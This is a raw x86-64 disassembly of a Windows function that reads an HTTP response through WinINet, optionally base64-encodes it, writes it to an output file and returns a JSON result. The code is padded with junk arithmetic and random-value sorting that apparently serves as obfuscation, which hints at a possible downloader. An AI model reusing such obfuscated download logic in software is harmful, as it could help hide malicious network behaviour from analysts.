lea rcx, [rbp + 0x238]
call fcn.1400021b0
nop
lea rcx, [rbp + 0x240]
call fcn.140029960
nop
lea rcx, [rbp + 0x90]
jmp 0x140031d7c
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x28]
call fcn.140032210
nop
lea rcx, [rbp + 0x240]
call fcn.140029960
mov ecx, dword [0x1401c3d80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x8000000f
jge 0x1400315ad
dec edx
or edx, 0xfffffff0
inc edx
cmp edx, 0xd
jne 0x1400315c2
lea ecx, [rdx - 9]
call fcn.1400ce278
mov ecx, dword [0x1401c3d80]
mov dword [rax], ecx
lea rcx, [rbp + 0x90]
call fcn.1400021b0
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x1400315e8
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
xor dil, dil
lea rdx, [0x14014fe90]
mov r15, qword [rbp]
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140039e00
test al, al
je 0x140031696
lea rax, [rbp + 0x4c8]
mov qword [rbp - 8], rax
lea rdx, [0x14014fe90]
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140003060
mov rdx, rax
lea rcx, [rbp + 0x4c8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140020230
nop
lea rdx, str.base64
lea rcx, [rbp + 0x80]
call fcn.14001a860
test al, al
je 0x14003166d
mov bl, 1
jmp 0x14003168a
lea rdx, str.binary
lea rcx, [rbp + 0x80]
call fcn.14001a860
movzx edi, dil
test al, al
cmovne edi, r12d
lea rcx, [rbp + 0x80]
call fcn.1400021b0
lea rcx, [rbp - 0x38]
call fcn.1400020d0
nop
test bl, bl
je 0x1400317b8
call fcn.140029b40
test al, al
jne 0x1400316be
lea rcx, [rbp + 0x730]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea rcx, [rbp - 0x28]
call fcn.140032430
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140032440
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x198]
call fcn.140020080
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400021f0
nop
lea rcx, [rbp + 0x198]
call fcn.1400021b0
lea rcx, [rbp + 0x1d8]
call fcn.140027830
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.14001a820
movzx ebx, al
lea rcx, [rbp + 0x1d8]
call fcn.1400021b0
test bl, bl
je 0x140031768
lea rdx, str.Base64_encdng_error
lea rcx, [rbp + 0x1a8]
call fcn.1400030b0
nop
mov rdx, rax
mov rcx, qword [rbp - 0x58]
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x1a8]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x38]
jmp 0x140031d7c
call fcn.140029bc0
test al, al
jne 0x140031926
mov ecx, dword [0x1401c3d80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x7b
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov rcx, rax
call fcn.1400cebfc
jmp 0x140031926
test dil, dil
jne 0x140031926
mov eax, dword [0x1401c3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0xa
jne 0x1400317f5
lea rcx, [rbp + 0x680]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea rcx, [rbp - 0x28]
call fcn.140032430
mov rbx, rax
lea rdx, [rax - 1]
lea rcx, [rbp - 0x28]
call fcn.140032440
cmp byte [rax], 0
je 0x14003182f
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x28]
call fcn.140032330
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140032440
mov byte [rax], 0
lea rcx, [rbp - 0x28]
call fcn.140032430
cmp rax, 3
jbe 0x1400318c4
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140032440
cmp byte [rax], 0xef
jne 0x1400318c4
mov rdx, r12
lea rcx, [rbp - 0x28]
call fcn.140032440
cmp byte [rax], 0xbb
jne 0x1400318c4
mov edx, 2
lea rcx, [rbp - 0x28]
call fcn.140032440
cmp byte [rax], 0xbf
jne 0x1400318c4
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x28]
call fcn.140032320
mov rcx, rax
mov r8d, 3
lea rdx, [rbp + 0x390]
call fcn.1400324e0
mov rbx, qword [rax]
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp - 0x28]
call fcn.140032320
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x28]
call fcn.140032450
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140032440
mov rdx, rax
lea rcx, [rbp + 0x218]
call fcn.1400030b0
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400021f0
nop
lea rcx, [rbp + 0x218]
call fcn.1400021b0
call fcn.140029bc0
test al, al
jne 0x140031926
mov ecx, r12d
mov r8d, dword [0x1401c3d80]
cmp r8d, 1
jle 0x140031920
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, r8d
jl 0x140031911
mov dword [0x1401c3d80], ecx
xor bl, bl
lea rdx, str.outputFile
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140039e00
test al, al
je 0x140031a85
lea rax, [rbp + 0x468]
mov qword [rbp + 0xd0], rax
lea rdx, str.outputFile
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140003060
mov rdx, rax
lea rcx, [rbp + 0x468]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140020230
nop
lea rcx, [rbp + 0x70]
call fcn.14000f170
test al, al
jne 0x140031a41
test dil, dil
je 0x140031a0d
mov qword [rbp + 0x98], r14
lea rcx, [rbp + 0x70]
call fcn.140003060
mov rdx, rax
lea r8, [0x1401501f8]
lea rcx, [rbp + 0x98]
call fcn.1400d08c0
test eax, eax
jne 0x140031a41
mov rdi, qword [rbp + 0x98]
test rdi, rdi
je 0x140031a41
lea rcx, [rbp - 0x28]
call fcn.140032430
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140032440
mov rcx, rax
mov r9, rdi
mov r8, rbx
mov rdx, r12
call fcn.1400d0cf4
mov rcx, qword [rbp + 0x98]
call fcn.1400cfb50
mov bl, 1
jmp 0x140031a41
lea rax, [rbp + 0x128]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x128]
call fcn.140003070
nop
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140028d90
movzx ebx, bl
test al, al
cmovne ebx, r12d
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0xd
jne 0x140031a7c
call fcn.1400ce478
mov ecx, dword [0x1401c3d80]
cmp ecx, eax
jne 0x140031a7c
dec ecx
mov dword [0x1401c3d80], ecx
lea rcx, [rbp + 0x70]
call fcn.1400021b0
xor edx, edx
lea rcx, [rbp + 0xb8]
call fcn.140038980
nop
mov dl, 1
lea rcx, [rbp + 0x358]
call fcn.140038b70
nop
lea rdx, str.result
lea rcx, [rbp + 0xb8]
call fcn.140039720
mov rcx, rax
lea rdx, [rbp + 0x358]
call fcn.140038da0
nop
lea rcx, [rbp + 0x358]
call fcn.140038cf0
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140026c10
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x548]
call fcn.1400202d0
nop
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.140038ad0
nop
lea rdx, str.content
lea rcx, [rbp + 0xb8]
call fcn.140039720
mov rcx, rax
lea rdx, [rbp + 0x3d8]
call fcn.140038da0
nop
lea rcx, [rbp + 0x3d8]
call fcn.140038cf0
nop
lea rcx, [rbp + 0x548]
call fcn.1400013b0
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x5c8]
call fcn.1400202d0
nop
mov rdx, rax
lea rcx, [rbp + 0x378]
call fcn.140038ad0
nop
lea rdx, str.additionalInfo
lea rcx, [rbp + 0xb8]
call fcn.140039720
mov rcx, rax
lea rdx, str.headers
call fcn.140039720
mov rcx, rax
lea rdx, [rbp + 0x378]
call fcn.140038da0
nop
lea rcx, [rbp + 0x378]
call fcn.140038cf0
nop
lea rcx, [rbp + 0x5c8]
call fcn.1400013b0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x588]
call fcn.1400202d0
nop
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.140038ad0
nop
lea rdx, str.additionalInfo
lea rcx, [rbp + 0xb8]
call fcn.140039720
mov rcx, rax
lea rdx, str.httpCode
call fcn.140039720
mov rcx, rax
lea rdx, [rbp + 0x3b8]
call fcn.140038da0
nop
lea rcx, [rbp + 0x3b8]
call fcn.140038cf0
nop
lea rcx, [rbp + 0x588]
call fcn.1400013b0
lea rdx, str.empty
lea rcx, [rbp + 0x528]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140038ad0
nop
lea rdx, str.noData
lea rcx, [rbp + 0xb8]
call fcn.140039720
mov rcx, rax
lea rdx, [rbp + 0x320]
call fcn.140038da0
nop
lea rcx, [rbp + 0x320]
call fcn.140038cf0
nop
lea rcx, [rbp + 0x528]
call fcn.1400013b0
lea rdx, str.outputFile
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140039e00
test al, al
je 0x140031d14
movzx edx, bl
lea rcx, [rbp + 0x340]
call fcn.140038b70
nop
lea rdx, str.outputFi
lea rcx, [rbp + 0x5a8]
call fcn.140001370
nop
lea r8, str.leResult
mov rdx, rax
lea rcx, [rbp + 0x568]
call fcn.140032590
nop
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.140039a40
mov rcx, rax
lea rdx, [rbp + 0x340]
call fcn.140038da0
nop
lea rcx, [rbp + 0x568]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x5a8]
call fcn.1400013b0
nop
lea rcx, [rbp + 0x340]
call fcn.140038cf0
lea rdx, [rbp + 0xb8]
mov rcx, qword [rbp - 0x58]
call fcn.140038b90
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0xb8]
call fcn.140038cf0
nop
lea rcx, [rbp - 0x38]
jmp 0x140031d7c
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140031d56
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.InternetReadFile_Failed
lea rcx, [rbp + 0x58]
call fcn.1400030b0
nop
mov rdx, rax
mov rcx, qword [rbp - 0x58]
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x58]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x28]
call fcn.140029960
nop
lea rcx, [rbp - 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x50]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x60]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x58]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x70]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x68]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x80]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x78]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x60]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x78]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x68]
call fcn.1400021b0
mov rax, qword [rbp - 0x58]
jmp 0x140032111
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x1401c3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0x10
jne 0x140031f83
mov rbx, r14
call fcn.1400ce478
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x7e0], xmm0
inc rbx
cmp rbx, 0x1d
jb 0x140031e56
mov r8d, 0x1c
lea r10d, [r8 + 1]
lea r15d, [r8 - 0x15]
nop word [rax + rax]
mov ecx, 0x1c
cmp r14, rcx
jge 0x140031f74
cmp r8, 4
jl 0x140031f3d
lea rax, [rbp + 0x8b0]
mov edx, 0x18
sub rdx, r14
shr rdx, 2
inc rdx
mov rcx, r15
sub rcx, rdx
shl rcx, 2
nop dword [rax + rax]
movsd xmm0, qword [rax + 0x10]
movsd xmm1, qword [rax + 8]
comisd xmm0, xmm1
jbe 0x140031eea
movsd qword [rax + 0x10], xmm1
movsd qword [rax + 8], xmm0
movsd xmm0, qword [rax + 8]
movsd xmm1, qword [rax]
comisd xmm0, xmm1
jbe 0x140031f02
movsd qword [rax + 8], xmm1
movsd qword [rax], xmm0
movsd xmm0, qword [rax]
movsd xmm1, qword [rax - 8]
comisd xmm0, xmm1
jbe 0x140031f1a
movsd qword [rax], xmm1
movsd qword [rax - 8], xmm0
movsd xmm0, qword [rax - 8]
movsd xmm1, qword [rax - 0x10]
comisd xmm0, xmm1
jbe 0x140031f34
movsd qword [rax - 8], xmm1
movsd qword [rax - 0x10], xmm0
sub rax, 0x20
dec rdx
jne 0x140031ed0
cmp rcx, r14
jle 0x140031f74
movsd xmm0, qword [rbp + rcx*8 + 0x7e0]
movsd xmm1, qword [rbp + rcx*8 + 0x7d8]
comisd xmm0, xmm1
jbe 0x140031f6c
movsd qword [rbp + rcx*8 + 0x7e0], xmm1
movsd qword [rbp + rcx*8 + 0x7d8], xmm0
dec rcx
cmp rcx, r14
jg 0x140031f42
inc r14
dec r8
dec r10
jne 0x140031e90
cmp byte [rsp + 0x40], 0
je 0x140031f94
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rbp + 0x5f8]
mov qword [rbp + 0x5f0], rax
mov r8d, 3
mov rdx, qword [rsp + 0x50]
lea rcx, [rbp + 0x5f0]
call fcn.14001abc0
nop
mov rcx, qword [rbp + 0x5f0]
call fcn.1400cecd8
mov edx, eax
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a780
mov eax, 1
mov dword [rsp + 0x44], eax
lea rax, [rbp + 0x5f8]
mov rcx, qword [rbp + 0x5f0]
cmp rcx, rax
je 0x140031ff6
call fcn.1400ce600
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032010
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032029
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032043
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003205d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140032076
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003208f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400320a8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400320c1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400320db
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400320f5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003210e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rdi
mov rcx, qword [rbp + 0x1dc0]
xor rcx, rsp
call fcn.1400cdac0
lea r11, [rsp + 0x1f18]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret